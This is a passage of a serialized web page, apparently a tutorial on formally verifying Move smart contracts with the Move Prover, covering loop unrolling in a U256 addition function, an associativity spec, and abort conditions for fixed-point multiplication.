type":29,"value":225},{"type":24,"tag":158,"props":2475,"children":2476},{"style":177},[2477],{"type":29,"value":2043},{"type":24,"tag":158,"props":2479,"children":2480},{"style":188},[2481],{"type":29,"value":2048},{"type":24,"tag":158,"props":2483,"children":2484},{"style":177},[2485],{"type":29,"value":2053},{"type":24,"tag":158,"props":2487,"children":2488},{"style":188},[2489],{"type":29,"value":2058},{"type":24,"tag":158,"props":2491,"children":2492},{"style":222},[2493],{"type":29,"value":1034},{"type":24,"tag":158,"props":2495,"children":2496},{"style":177},[2497],{"type":29,"value":2067},{"type":24,"tag":158,"props":2499,"children":2500},{"style":188},[2501],{"type":29,"value":2048},{"type":24,"tag":158,"props":2503,"children":2504},{"style":177},[2505],{"type":29,"value":2053},{"type":24,"tag":158,"props":2507,"children":2508},{"style":188},[2509],{"type":29,"value":2058},{"type":24,"tag":158,"props":2511,"children":2512},{"style":222},[2513],{"type":29,"value":577},{"type":24,"tag":158,"props":2515,"children":2516},{"style":177},[2517],{"type":29,"value":1994},{"type":24,"tag":158,"props":2519,"children":2520},{"style":188},[2521],{"type":29,"value":473},{"type":24,"tag":158,"props":2523,"children":2524},{"class":160,"line":301},[2525],{"type":24,"tag":158,"props":2526,"children":2527},{"style":188},[2528],{"type":29,"value":2099},{"type":24,"tag":158,"props":2530,"children":2531},{"class":160,"line":626},[2532,2536,2540,2544,2548],{"type":24,"tag":158,"props":2533,"children":2534},{"style":188},[2535],{"type":29,"value":2107},{"type":24,"tag":158,"props":2537,"children":2538},{"style":177},[2539],{"type":29,"value":1832},{"type":24,"tag":158,"props":2541,"children":2542},{"style":222},[2543],{"type":29,"value":2116},{"type":24,"tag":158,"props":2545,"children":2546},{"style":177},[2547],{"type":29,"value":1994},{"type":24,"tag":158,"props":2549,"children":2550},{"style":188},[2551],{"type":29,"value":2125},{"type":24,"tag":158,"props":2553,"children":2554},{"class":160,"line":668},[2555],{"type":24,"tag":158,"props":2556,"children":2557},{"style":188},[2558],{"type":29,"value":2133},{"type":24,"tag":25,"props":2560,"children":2561},{},[2562],{"type":29,"value":2563},"Loop invariants are often difficult to write, especially for nontrivial loop bodies.",{"type":24,"tag":25,"props":2565,"children":2566},{},[2567,2569,2574],{"type":29,"value":2568},"The second solution to dealing with loops is to unroll the loop. This technique works in this particular situation because, as we can observe, the loop within the ",{"type":24,"tag":154,"props":2570,"children":2572},{"className":2571},[],[2573],{"type":29,"value":426},{"type":29,"value":2575}," function will always iterate exactly 4 times:",{"type":24,"tag":147,"props":2577,"children":2579},{"code":2578,"language":150,"meta":7,"className":151,"style":7},"/// Total words in `U256` (64 * 4 = 256).\nconst WORDS: u64 = 4;\n\n[...]\n\nlet i = 0;\nwhile (i \u003C WORDS) {\n let a1 = get(&a, i);\n let b1 = get(&b, i);\n\n[...]\n",[2580],{"type":24,"tag":154,"props":2581,"children":2582},{"__ignoreMap":7},[2583,2592,2625,2632,2648,2655,2679,2703,2749,2793,2800],{"type":24,"tag":158,"props":2584,"children":2585},{"class":160,"line":161},[2586],{"type":24,"tag":158,"props":2587,"children":2589},{"style":2588},"--shiki-default:#6A9955",[2590],{"type":29,"value":2591},"/// Total words in `U256` (64 * 4 = 256).\n",{"type":24,"tag":158,"props":2593,"children":2594},{"class":160,"line":213},[2595,2599,2604,2608,2612,2616,2621],{"type":24,"tag":158,"props":2596,"children":2597},{"style":165},[2598],{"type":29,"value":443},{"type":24,"tag":158,"props":2600,"children":2601},{"style":188},[2602],{"type":29,"value":2603}," WORDS",{"type":24,"tag":158,"props":2605,"children":2606},{"style":222},[2607],{"type":29,"value":225},{"type":24,"tag":158,"props":2609,"children":2610},{"style":171},[2611],{"type":29,"value":230},{"type":24,"tag":158,"props":2613,"children":2614},{"style":222},[2615],{"type":29,"value":462},{"type":24,"tag":158,"props":2617,"children":2618},{"style":465},[2619],{"type":29,"value":2620}," 4",{"type":24,"tag":158,"props":2622,"children":2623},{"style":188},[2624],{"type":29,"value":473},{"type":24,"tag":158,"props":2626,"children":2627},{"class":160,"line":238},[2628],{"type":24,"tag":158,"props":2629,"children":2630},{"emptyLinePlaceholder":16},[2631],{"type":29,"value":481},{"type":24,"tag":158,"props":2633,"children":2634},{"class":160,"line":259},[2635,2639,2643],{"type":24,"tag":158,"props":2636,"children":2637},{"style":188},[2638],{"type":29,"value":2048},{"type":24,"tag":158,"props":2640,"children":2641},{"style":222},[2642],{"type":29,"value":377},{"type":24,"tag":158,"props":2644,"children":2645},{"style":188},[2646],{"type":29,"value":2647},"]\n",{"type":24,"tag":158,"props":2649,"children":2650},{"class":160,"line":280},[2651],{"type":24,"tag":158,"props":2652,"children":2653},{"emptyLinePlaceholder":16},[2654],{"type":29,"value":481},{"type":24,"tag":158,"props":2656,"children":2657},{"class":160,"line":301},[2658,2663,2667,2671,2675],{"type":24,"tag":158,"props":2659,"children":2660},{"style":165},[2661],{"type":29,"value":2662},"let",{"type":24,"tag":158,"props":2664,"children":2665},{"style":177},[2666],{"type":29,"value":1969},{"type":24,"tag":158,"props":2668,"children":2669},{"style":222},[2670],{"type":29,"value":462},{"type":24,"tag":158,"props":2672,"children":2673},{"style":465},[2674],{"type":29,"value":2025},{"type":24,"tag":158,"props":2676,"children":2677},{"style":188},[2678],{"type":29,"value":473},{"type":24,"tag":158,"props":2680,"children":2681},{"class":160,"line":626},[2682,2686,2690,2694,2698],{"type":24,"tag":158,"props":2683,"children":2684},{"style":1914},[2685],{"type":29,"value":2335},{"type":24,"tag":158,"props":2687,"children":2688},{"style":188},[2689],{"type":29,"value":2262},{"type":24,"tag":158,"props":2691,"children":2692},{"style":177},[2693],{"type":29,"value":1832},{"type":24,"tag":158,"props":2695,"children":2696},{"style":222},[2697],{"type":29,"value":2116},{"type":24,"tag":158,"props":2699,"children":2700},{"style":188},[2701],{"type":29,"value":2702}," WORDS) {\n",{"type":24,"tag":158,"props":2704,"children":2705},{"class":160,"line":668},[2706,2711,2716,2720,2725,2729,2733,2737,2741,2745],{"type":24,"tag":158,"props":2707,"children":2708},{"style":165},[2709],{"type":29,"value":2710}," let",{"type":24,"tag":158,"props":2712,"children":2713},{"style":177},[2714],{"type":29,"value":2715}," a1",{"type":24,"tag":158,"props":2717,"children":2718},{"style":222},[2719],{"type":29,"value":462},{"type":24,"tag":158,"props":2721,"children":2722},{"style":496},[2723],{"type":29,"value":2724}," get",{"type":24,"tag":158,"props":2726,"children":2727},{"style":188},[2728],{"type":29,"value":504},{"type":24,"tag":158,"props":2730,"children":2731},{"style":222},[2732],{"type":29,"value":2212},{"type":24,"tag":158,"props":2734,"children":2735},{"style":177},[2736],{"type":29,"value":101},{"type":24,"tag":158,"props":2738,"children":2739},{"style":188},[2740],{"type":29,"value":191},{"type":24,"tag":158,"props":2742,"children":2743},{"style":177},[2744],{"type":29,"value":1832},{"type":24,"tag":158,"props":2746,"children":2747},{"style":188},[2748],{"type":29,"value":1071},{"type":24,"tag":158,"props":2750,"children":2751},{"class":160,"line":676},[2752,2756,2761,2765,2769,2773,2777,2781,2785,2789],{"type":24,"tag":158,"props":2753,"children":2754},{"style":165},[2755],{"type":29,"value":2710},{"type":24,"tag":158,"props":2757,"children":2758},{"style":177},[2759],{"type":29,"value":2760}," b1",{"type":24,"tag":158,"props":2762,"children":2763},{"style":222},[2764],{"type":29,"value":462},{"type":24,"tag":158,"props":2766,"children":2767},{"style":496},[2768],{"type":29,"value":2724},{"type":24,"tag":158,"props":2770,"children":2771},{"style":188},[2772],{"type":29,"value":504},{"type":24,"tag":158,"props":2774,"children":2775},{"style":222},[2776],{"type":29,"value":2212},{"type":24,"tag":158,"props":2778,"children":2779},{"style":177},[2780],{"type":29,"value":741},{"type":24,"tag":158,"props":2782,"children":2783},{"style":188},[2784],{"type":29,"value":191},{"type":24,"tag":158,"props":2786,"children":2787},{"style":177},[2788],{"type":29,"value":1832},{"type":24,"tag":158,"props":2790,"children":2791},{"style":188},[2792],{"type":29,"value":1071},{"type":24,"tag":158,"props":2794,"children":2795},{"class":160,"line":684},[2796],{"type":24,"tag":158,"props":2797,"children":2798},{"emptyLinePlaceholder":16},[2799],{"type":29,"value":481},{"type":24,"tag":158,"props":2801,"children":2802},{"class":160,"line":700},[2803,2807,2811],{"type":24,"tag":158,"props":2804,"children":2805},{"style":188},[2806],{"type":29,"value":2048},{"type":24,"tag":158,"props":2808,"children":2809},{"style":222},[2810],{"type":29,"value":377},{"type":24,"tag":158,"props":2812,"children":2813},{"style":188},[2814],{"type":29,"value":2647},{"type":24,"tag":25,"props":2816,"children":2817},{},[2818],{"type":29,"value":2819},"Unrolling the function and running again the Move Prover will print out a \"Success\" message!",{"type":24,"tag":147,"props":2821,"children":2823},{"code":2822},"SUCCESS proving 1 modules from package `u256` in 9.685s\n{\n \"Result\": \"Success\"\n}\n",[2824],{"type":24,"tag":154,"props":2825,"children":2826},{"__ignoreMap":7},[2827],{"type":29,"value":2822},{"type":24,"tag":25,"props":2829,"children":2830},{},[2831,2833,2838,2839,2845],{"type":29,"value":2832},"For the ",{"type":24,"tag":897,"props":2834,"children":2835},{},[2836],{"type":29,"value":2837},"Associative Property",{"type":29,"value":2262},{"type":24,"tag":154,"props":2840,"children":2842},{"className":2841},[],[2843],{"type":29,"value":2844},"a+(b+c) = (a+b)+c",{"type":29,"value":2846},") to be true, changing the grouping of addends should not change the sum. To verify this, we will first implement a function which simulates this property:",{"type":24,"tag":147,"props":2848,"children":2850},{"code":2849,"language":150,"meta":7,"className":151,"style":7},"fun add_assoc_property(a: U256, b: U256, c: U256): bool {\n let result_1 = add(b, c);\n let result_11 = add(a, result_1);\n let result_2 = add(a, b);\n let result_22 = add(c, result_2);\n\n let cmp = compare(&result_11, &result_22);\n if ( cmp == EQUAL ) true else false\n}\n",[2851],{"type":24,"tag":154,"props":2852,"children":2853},{"__ignoreMap":7},[2854,2933,2973,3014,3054,3095,3102,3153,3196],{"type":24,"tag":158,"props":2855,"children":2856},{"class":160,"line":161},[2857,2862,2867,2871,2875,2879,2883,2887,2891,2895,2899,2903,2908,2912,2916,2920,2924,2929],{"type":24,"tag":158,"props":2858,"children":2859},{"style":177},[2860],{"type":29,"value":2861},"fun",{"type":24,"tag":158,"props":2863,"children":2864},{"style":496},[2865],{"type":29,"value":2866}," add_assoc_property",{"type":24,"tag":158,"props":2868,"children":2869},{"style":188},[2870],{"type":29,"value":504},{"type":24,"tag":158,"props":2872,"children":2873},{"style":177},[2874],{"type":29,"value":101},{"type":24,"tag":158,"props":2876,"children":2877},{"style":222},[2878],{"type":29,"value":225},{"type":24,"tag":158,"props":2880,"children":2881},{"style":171},[2882],{"type":29,"value":174},{"type":24,"tag":158,"props":2884,"children":2885},{"style":188},[2886],{"type":29,"value":191},{"type":24,"tag":158,"props":2888,"children":2889},{"style":177},[2890],{"type":29,"value":741},{"type":24,"tag":158,"props":2892,"children":2893},{"style":222},[2894],{"type":29,"value":225},{"type":24,"tag":158,"props":2896,"children":2897},{"style":171},[2898],{"type":29,"value":174},{"type":24,"tag":158,"props":2900,"children":2901},{"style":188},[2902],{"type":29,"value":191},{"type":24,"tag":158,"props":2904,"children":2905},{"style":177},[2906],{"type":29,"value":2907},"c",{"type":24,"tag":158,"props":2909,"children":2910},{"style":222},[2911],{"type":29,"value":225},{"type":24,"tag":158,"props":2913,"children":2914},{"style":171},[2915],{"type":29,"value":174},{"type":24,"tag":158,"props":2917,"children":2918},{"style":188},[2919],{"type":29,"value":521},{"type":24,"tag":158,"props":2921,"children":2922},{"style":222},[2923],{"type":29,"value":225},{"type":24,"tag":158,"props":2925,"children":2926},{"style":171},[2927],{"type":29,"value":2928}," bool",{"type":24,"tag":158,"props":2930,"children":2931},{"style":188},[2932],{"type":29,"value":210},{"type":24,"tag":158,"props":2934,"children":2935},{"class":160,"line":213},[2936,2940,2945,2949,2953,2957,2961,2965,2969],{"type":24,"tag":158,"props":2937,"children":2938},{"style":165},[2939],{"type":29,"value":2710},{"type":24,"tag":158,"props":2941,"children":2942},{"style":177},[2943],{"type":29,"value":2944}," result_1",{"type":24,"tag":158,"props":2946,"children":2947},{"style":222},[2948],{"type":29,"value":462},{"type":24,"tag":158,"props":2950,"children":2951},{"style":496},[2952],{"type":29,"value":367},{"type":24,"tag":158,"props":2954,"children":2955},{"style":188},[2956],{"type":29,"value":504},{"type":24,"tag":158,"props":2958,"children":2959},{"style":177},[2960],{"type":29,"value":741},{"type":24,"tag":158,"props":2962,"children":2963},{"style":188},[2964],{"type":29,"value":191},{"type":24,"tag":158,"props":2966,"children":2967},{"style":177},[2968],{"type":29,"value":2907},{"type":24,"tag":158,"props":2970,"children":2971},{"style":188},[2972],{"type":29,"value":1071},{"type":24,"tag":158,"props":2974,"children":2975},{"class":160,"line":238},[2976,2980,2985,2989,2993,2997,3001,3005,3010],{"type":24,"tag":158,"props":2977,"children":2978},{"style":165},[2979],{"type":29,"value":2710},{"type":24,"tag":158,"props":2981,"children":2982},{"style":177},[2983],{"type":29,"value":2984}," result_11",{"type":24,"tag":158,"props":2986,"children":2987},{"style":222},[2988],{"type":29,"value":462},{"type":24,"tag":158,"props":2990,"children":2991},{"style":496},[2992],{"type":29,"value":367},{"type":24,"tag":158,"props":2994,"children":2995},{"style":188},[2996],{"type":29,"value":504},{"type":24,"tag":158,"props":2998,"children":2999},{"style":177},[3000],{"type":29,"value":101},{"type":24,"tag":158,"props":3002,"children":3003},{"style":188},[3004],{"type":29,"value":191},{"type":24,"tag":158,"props":3006,"children":3007},{"style":177},[3008],{"type":29,"value":3009},"result_1",{"type":24,"tag":158,"props":3011,"children":3012},{"style":188},[3013],{"type":29,"value":1071},{"type":24,"tag":158,"props":3015,"children":3016},{"class":160,"line":259},[3017,3021,3026,3030,3034,3038,3042,3046,3050],{"type":24,"tag":158,"props":3018,"children":3019},{"style":165},[3020],{"type":29,"value":2710},{"type":24,"tag":158,"props":3022,"children":3023},{"style":177},[3024],{"type":29,"value":3025}," result_2",{"type":24,"tag":158,"props":3027,"children":3028},{"style":222},[3029],{"type":29,"value":462},{"type":24,"tag":158,"props":3031,"children":3032},{"style":496},[3033],{"type":29,"value":367},{"type":24,"tag":158,"props":3035,"children":3036},{"style":188},[3037],{"type":29,"value":504},{"type":24,"tag":158,"props":3039,"children":3040},{"style":177},[3041],{"type":29,"value":101},{"type":24,"tag":158,"props":3043,"children":3044},{"style":188},[3045],{"type":29,"value":191},{"type":24,"tag":158,"props":3047,"children":3048},{"style":177},[3049],{"type":29,"value":741},{"type":24,"tag":158,"props":3051,"children":3052},{"style":188},[3053],{"type":29,"value":1071},{"type":24,"tag":158,"props":3055,"children":3056},{"class":160,"line":280},[3057,3061,3066,3070,3074,3078,3082,3086,3091],{"type":24,"tag":158,"props":3058,"children":3059},{"style":165},[3060],{"type":29,"value":2710},{"type":24,"tag":158,"props":3062,"children":3063},{"style":177},[3064],{"type":29,"value":3065}," result_22",{"type":24,"tag":158,"props":3067,"children":3068},{"style":222},[3069],{"type":29,"value":462},{"type":24,"tag":158,"props":3071,"children":3072},{"style":496},[3073],{"type":29,"value":367},{"type":24,"tag":158,"props":3075,"children":3076},{"style":188},[3077],{"type":29,"value":504},{"type":24,"tag":158,"props":3079,"children":3080},{"style":177},[3081],{"type":29,"value":2907},{"type":24,"tag":158,"props":3083,"children":3084},{"style":188},[3085],{"type":29,"value":191},{"type":24,"tag":158,"props":3087,"children":3088},{"style":177},[3089],{"type":29,"value":3090},"result_2",{"type":24,"tag":158,"props":3092,"children":3093},{"style":188},[3094],{"type":29,"value":1071},{"type":24,"tag":158,"props":3096,"children":3097},{"class":160,"line":301},[3098],{"type":24,"tag":158,"props":3099,"children":3100},{"emptyLinePlaceholder":16},[3101],{"type":29,"value":481},{"type":24,"tag":158,"props":3103,"children":3104},{"class":160,"line":626},[3105,3109,3114,3118,3123,3127,3131,3136,3140,3144,3149],{"type":24,"tag":158,"props":3106,"children":3107},{"style":165},[3108],{"type":29,"value":2710},{"type":24,"tag":158,"props":3110,"children":3111},{"style":177},[3112],{"type":29,"value":3113}," cmp",{"type":24,"tag":158,"props":3115,"children":3116},{"style":222},[3117],{"type":29,"value":462},{"type":24,"tag":158,"props":3119,"children":3120},{"style":496},[3121],{"type":29,"value":3122}," compare",{"type":24,"tag":158,"props":3124,"children":3125},{"style":188},[3126],{"type":29,"value":504},{"type":24,"tag":158,"props":3128,"children":3129},{"style":222},[3130],{"type":29,"value":2212},{"type":24,"tag":158,"props":3132,"children":3133},{"style":177},[3134],{"type":29,"value":3135},"result_11",{"type":24,"tag":158,"props":3137,"children":3138},{"style":188},[3139],{"type":29,"value":191},{"type":24,"tag":158,"props":3141,"children":3142},{"style":222},[3143],{"type":29,"value":2212},{"type":24,"tag":158,"props":3145,"children":3146},{"style":177},[3147],{"type":29,"value":3148},"result_22",{"type":24,"tag":158,"props":3150,"children":3151},{"style":188},[3152],{"type":29,"value":1071},{"type":24,"tag":158,"props":3154,"children":3155},{"class":160,"line":668},[3156,3161,3166,3171,3176,3181,3186,3191],{"type":24,"tag":158,"props":3157,"children":3158},{"style":1914},[3159],{"type":29,"value":3160}," if",{"type":24,"tag":158,"props":3162,"children":3163},{"style":188},[3164],{"type":29,"value":3165}," ( ",{"type":24,"tag":158,"props":3167,"children":3168},{"style":177},[3169],{"type":29,"value":3170},"cmp",{"type":24,"tag":158,"props":3172,"children":3173},{"style":222},[3174],{"type":29,"value":3175}," ==",{"type":24,"tag":158,"props":3177,"children":3178},{"style":188},[3179],{"type":29,"value":3180}," EQUAL ) ",{"type":24,"tag":158,"props":3182,"children":3183},{"style":165},[3184],{"type":29,"value":3185},"true",{"type":24,"tag":158,"props":3187,"children":3188},{"style":1914},[3189],{"type":29,"value":3190}," else",{"type":24,"tag":158,"props":3192,"children":3193},{"style":165},[3194],{"type":29,"value":3195}," false\n",{"type":24,"tag":158,"props":3197,"children":3198},{"class":160,"line":676},[3199],{"type":24,"tag":158,"props":3200,"children":3201},{"style":188},[3202],{"type":29,"value":307},{"type":24,"tag":25,"props":3204,"children":3205},{},[3206],{"type":29,"value":3207},"Lastly, we want to create a spec block which aborts if the sum overflows, and ensures that the result of the function is true:",{"type":24,"tag":147,"props":3209,"children":3211},{"code":3210,"language":150,"meta":7,"className":151,"style":7},"spec add_assoc_property {\n aborts_if (value_of_U256(a) + value_of_U256(b)) + value_of_U256(c) >= P64 * P64 * P64 * P64;\n ensures result == true;\n}\n",[3212],{"type":24,"tag":154,"props":3213,"children":3214},{"__ignoreMap":7},[3215,3230,3334,3359],{"type":24,"tag":158,"props":3216,"children":3217},{"class":160,"line":161},[3218,3222,3226],{"type":24,"tag":158,"props":3219,"children":3220},{"style":177},[3221],{"type":29,"value":362},{"type":24,"tag":158,"props":3223,"children":3224},{"style":177},[3225],{"type":29,"value":2866},{"type":24,"tag":158,"props":3227,"children":3228},{"style":188},[3229],{"type":29,"value":210},{"type":24,"tag":158,"props":3231,"children":3232},{"class":160,"line":213},[3233,3237,3241,3246,3250,3254,3258,3262,3266,3270,3274,3278,3282,3286,3290,3294,3298,3302,3306,3310,3314,3318,3322,3326,3330],{"type":24,"tag":158,"props":3234,"children":3235},{"style":177},[3236],{"type":29,"value":706},{"type":24,"tag":158,"props":3238,"children":3239},{"style":188},[3240],{"type":29,"value":2262},{"type":24,"tag":158,"props":3242,"children":3243},{"style":496},[3244],{"type":29,"value":3245},"value_of_U256",{"type":24,"tag":158,"props":3247,"children":3248},{"style":188},[3249],{"type":29,"value":504},{"type":24,"tag":158,"props":3251,"children":3252},{"style":177},[3253],{"type":29,"value":101},{"type":24,"tag":158,"props":3255,"children":3256},{"style":188},[3257],{"type":29,"value":723},{"type":24,"tag":158,"props":3259,"children":3260},{"style":222},[3261],{"type":29,"value":728},{"type":24,"tag":158,"props":3263,"children":3264},{"style":496},[3265],{"type":29,"value":499},{"type":24,"tag":158,"props":3267,"children":3268},{"style":188},[3269],{"type":29,"value":504},{"type":24,"tag":158,"props":3271,"children":3272},{"style":177},[3273],{"type":29,"value":741},{"type":24,"tag":158,"props":3275,"children":3276},{"style":188},[3277],{"type":29,"value":2240},{"type":24,"tag":158,"props":3279,"children":3280},{"style":222},[3281],{"type":29,"value":728},{"type":24,"tag":158,"props":3283,"children":3284},{"style":496},[3285],{"type":29,"value":499},{"type":24,"tag":158,"props":3287,"children":3288},{"style":188},[3289],{"type":29,"value":504},{"type":24,"tag":158,"props":3291,"children":3292},{"style":177},[3293],{"type":29,"value":2907},{"type":24,"tag":158,"props":3295,"children":3296},{"style":188},[3297],{"type":29,"value":723},{"type":24,"tag":158,"props":3299,"children":3300},{"style":222},[3301],{"type":29,"value":750},{"type":24,"tag":158,"props":3303,"children":3304},{"style":171},[3305],{"type":29,"value":448},{"type":24,"tag":158,"props":3307,"children":3308},{"style":222},[3309],{"type":29,"value":615},{"type":24,"tag":158,"props":3311,"children":3312},{"style":171},[3313],{"type":29,"value":448},{"type":24,"tag":158,"props":3315,"children":3316},{"style":222},[3317],{"type":29,"value":615},{"type":24,"tag":158,"props":3319,"children":3320},{"style":171},[3321],{"type":29,"value":448},{"type":24,"tag":158,"props":3323,"children":3324},{"style":222},[3325],{"type":29,"value":615},{"type":24,"tag":158,"props":3327,"children":3328},{"style":171},[3329],{"type":29,"value":448},{"type":24,"tag":158,"props":3331,"children":3332},{"style":188},[3333],{"type":29,"value":473},{"type":24,"tag":158,"props":3335,"children":3336},{"class":160,"line":238},[3337,3341,3346,3350,3355],{"type":24,"tag":158,"props":3338,"children":3339},{"style":177},[3340],{"type":29,"value":1012},{"type":24,"tag":158,"props":3342,"children":3343},{"style":177},[3344],{"type":29,"value":3345}," result",{"type":24,"tag":158,"props":3347,"children":3348},{"style":222},[3349],{"type":29,"value":3175},{"type":24,"tag":158,"props":3351,"children":3352},{"style":165},[3353],{"type":29,"value":3354}," true",{"type":24,"tag":158,"props":3356,"children":3357},{"style":188},[3358],{"type":29,"value":473},{"type":24,"tag":158,"props":3360,"children":3361},{"class":160,"line":259},[3362],{"type":24,"tag":158,"props":3363,"children":3364},{"style":188},[3365],{"type":29,"value":307},{"type":24,"tag":25,"props":3367,"children":3368},{},[3369],{"type":29,"value":3370},"Running move prover with the new specifications, we can confirm that there are no verification errors:",{"type":24,"tag":147,"props":3372,"children":3373},{"code":2822},[3374],{"type":24,"tag":154,"props":3375,"children":3376},{"__ignoreMap":7},[3377],{"type":29,"value":2822},{"type":24,"tag":25,"props":3379,"children":3380},{},[3381,3383,3390],{"type":29,"value":3382},"For a more complete document detailing Move Prover syntax, we recommend referring to ",{"type":24,"tag":101,"props":3384,"children":3387},{"href":3385,"rel":3386},"https://github.com/move-language/move/blob/main/language/move-prover/doc/user/spec-lang.md",[105],[3388],{"type":29,"value":3389},"spec-lang.md",{"type":29,"value":3391}," in the Move Repository.",{"type":24,"tag":59,"props":3393,"children":3395},{"id":3394},"use-cases",[3396],{"type":29,"value":3397},"Use Cases",{"type":24,"tag":25,"props":3399,"children":3400},{},[3401],{"type":29,"value":3402},"Formal verification can prove that a smart contract satisfies the given requirements for all possible cases without even running the contract. The hard part is coming up with the specifications.",{"type":24,"tag":25,"props":3404,"children":3405},{},[3406],{"type":29,"value":3407},"Here, we hope to explore some practical examples of possible verification ideas.",{"type":24,"tag":395,"props":3409,"children":3411},{"id":3410},"error-conditions",[3412],{"type":29,"value":3413},"Error Conditions",{"type":24,"tag":25,"props":3415,"children":3416},{},[3417,3419,3425],{"type":29,"value":3418},"Taking an example from ",{"type":24,"tag":154,"props":3420,"children":3422},{"className":3421},[],[3423],{"type":29,"value":3424},"std::fixed_point32",{"type":29,"value":3426},", it's often useful to explicitly define when a function might abort. For example, arithmetic operations with fixed point numbers should only error if they overflow.",{"type":24,"tag":147,"props":3428,"children":3430},{"code":3429,"language":150,"meta":7,"className":151,"style":7}," spec schema MultiplyAbortsIf {\n val: num;\n multiplier: FixedPoint32;\n aborts_if spec_multiply_u64(val, multiplier) > MAX_U64 with EMULTIPLICATION;\n }\n spec fun spec_multiply_u64(val: num, multiplier: FixedPoint32): num {\n (val * multiplier.value) >> 32\n }\n",[3431],{"type":24,"tag":154,"props":3432,"children":3433},{"__ignoreMap":7},[3434,3455,3475,3496,3542,3550,3613,3652],{"type":24,"tag":158,"props":3435,"children":3436},{"class":160,"line":161},[3437,3441,3446,3451],{"type":24,"tag":158,"props":3438,"children":3439},{"style":177},[3440],{"type":29,"value":1930},{"type":24,"tag":158,"props":3442,"children":3443},{"style":177},[3444],{"type":29,"value":3445}," schema",{"type":24,"tag":158,"props":3447,"children":3448},{"style":171},[3449],{"type":29,"value":3450}," MultiplyAbortsIf",{"type":24,"tag":158,"props":3452,"children":3453},{"style":188},[3454],{"type":29,"value":210},{"type":24,"tag":158,"props":3456,"children":3457},{"class":160,"line":213},[3458,3463,3467,3471],{"type":24,"tag":158,"props":3459,"children":3460},{"style":177},[3461],{"type":29,"value":3462}," val",{"type":24,"tag":158,"props":3464,"children":3465},{"style":222},[3466],{"type":29,"value":225},{"type":24,"tag":158,"props":3468,"children":3469},{"style":177},[3470],{"type":29,"value":530},{"type":24,"tag":158,"props":3472,"children":3473},{"style":188},[3474],{"type":29,"value":473},{"type":24,"tag":158,"props":3476,"children":3477},{"class":160,"line":238},[3478,3483,3487,3492],{"type":24,"tag":158,"props":3479,"children":3480},{"style":177},[3481],{"type":29,"value":3482}," multiplier",{"type":24,"tag":158,"props":3484,"children":3485},{"style":222},[3486],{"type":29,"value":225},{"type":24,"tag":158,"props":3488,"children":3489},{"style":171},[3490],{"type":29,"value":3491}," FixedPoint32",{"type":24,"tag":158,"props":3493,"children":3494},{"style":188},[3495],{"type":29,"value":473},{"type":24,"tag":158,"props":3497,"children":3498},{"class":160,"line":259},[3499,3504,3509,3513,3518,3522,3527,3532,3537],{"type":24,"tag":158,"props":3500,"children":3501},{"style":177},[3502],{"type":29,"value":3503}," aborts_if",{"type":24,"tag":158,"props":3505,"children":3506},{"style":496},[3507],{"type":29,"value":3508}," spec_multiply_u64",{"type":24,"tag":158,"props":3510,"children":3511},{"style":188},[3512],{"type":29,"value":504},{"type":24,"tag":158,"props":3514,"children":3515},{"style":177},[3516],{"type":29,"value":3517},"val",{"type":24,"tag":158,"props":3519,"children":3520},{"style":188},[3521],{"type":29,"value":191},{"type":24,"tag":158,"props":3523,"children":3524},{"style":177},[3525],{"type":29,"value":3526},"multiplier",{"type":24,"tag":158,"props":3528,"children":3529},{"style":188},[3530],{"type":29,"value":3531},") > MAX_U64 ",{"type":24,"tag":158,"props":3533,"children":3534},{"style":177},[3535],{"type":29,"value":3536},"with",{"type":24,"tag":158,"props":3538,"children":3539},{"style":188},[3540],{"type":29,"value":3541}," EMULTIPLICATION;\n",{"type":24,"tag":158,"props":3543,"children":3544},{"class":160,"line":280},[3545],{"type":24,"tag":158,"props":3546,"children":3547},{"style":188},[3548],{"type":29,"value":3549}," }\n",{"type":24,"tag":158,"props":3551,"children":3552},{"class":160,"line":301},[3553,3557,3561,3565,3569,3573,3577,3581,3585,3589,3593,3597,3601,3605,3609],{"type":24,"tag":158,"props":3554,"children":3555},{"style":177},[3556],{"type":29,"value":1930},{"type":24,"tag":158,"props":3558,"children":3559},{"style":177},[3560],{"type":29,"value":493},{"type":24,"tag":158,"props":3562,"children":3563},{"style":496},[3564],{"type":29,"value":3508},{"type":24,"tag":158,"props":3566,"children":3567},{"style":188},[3568],{"type":29,"value":504},{"type":24,"tag":158,"props":3570,"children":3571},{"style":177},[3572],{"type":29,"value":3517},{"type":24,"tag":158,"props":3574,"children":3575},{"style":222},[3576],{"type":29,"value":225},{"type":24,"tag":158,"props":3578,"children":3579},{"style":177},[3580],{"type":29,"value":530},{"type":24,"tag":158,"props":3582,"children":3583},{"style":188},[3584],{"type":29,"value":191},{"type":24,"tag":158,"props":3586,"children":3587},{"style":177},[3588],{"type":29,"value":3526},{"type":24,"tag":158,"props":3590,"children":3591},{"style":222},[3592],{"type":29,"value":225},{"type":24,"tag":158,"props":3594,"children":3595},{"style":171},[3596],{"type":29,"value":3491},{"type":24,"tag":158,"props":3598,"children":3599},{"style":188},[3600],{"type":29,"value":521},{"type":24,"tag":158,"props":3602,"children":3603},{"style":222},[3604],{"type":29,"value":225},{"type":24,"tag":158,"props":3606,"children":3607},{"style":177},[3608],{"type":29,"value":530},{"type":24,"tag":158,"props":3610,"children":3611},{"style":188},[3612],{"type":29,"value":210},{"type":24,"tag":158,"props":3614,"children":3615},{"class":160,"line":626},[3616,3620,3624,3628,3633,3637,3642,3647],{"type":24,"tag":158,"props":3617,"children":3618},{"style":188},[3619],{"type":29,"value":2185},{"type":24,"tag":158,"props":3621,"children":3622},{"style":177},[3623],{"type":29,"value":3517},{"type":24,"tag":158,"props":3625,"children":3626},{"style":222},[3627],{"type":29,"value":615},{"type":24,"tag":158,"props":3629,"children":3630},{"style":177},[3631],{"type":29,"value":3632}," multiplier",{"type":24,"tag":158,"props":3634,"children":3635},{"style":222},[3636],{"type":29,"value":347},{"type":24,"tag":158,"props":3638,"children":3639},{"style":188},[3640],{"type":29,"value":3641},"value) ",{"type":24,"tag":158,"props":3643,"children":3644},{"style":222},[3645],{"type":29,"value":3646},">>",{"type":24,"tag":158,"props":3648,"children":3649},{"style":465},[3650],{"type":29,"value":3651}," 32\n",{"type":24,"tag":158,"props":3653,"children":3654},{"class":160,"line":668},[3655],{"type":24,"tag":158,"props":3656,"children":3657},{"style":188},[3658],{"type":29,"value":3549},{"type":24,"tag":395,"props":3660,"children":3662},{"id":3661},"access-control-policies",[3663],{"type":29,"value":3664},"Access Control Policies",{"type":24,"tag":25,"props":3666,"children":3667},{},[3668],{"type":29,"value":3669},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification 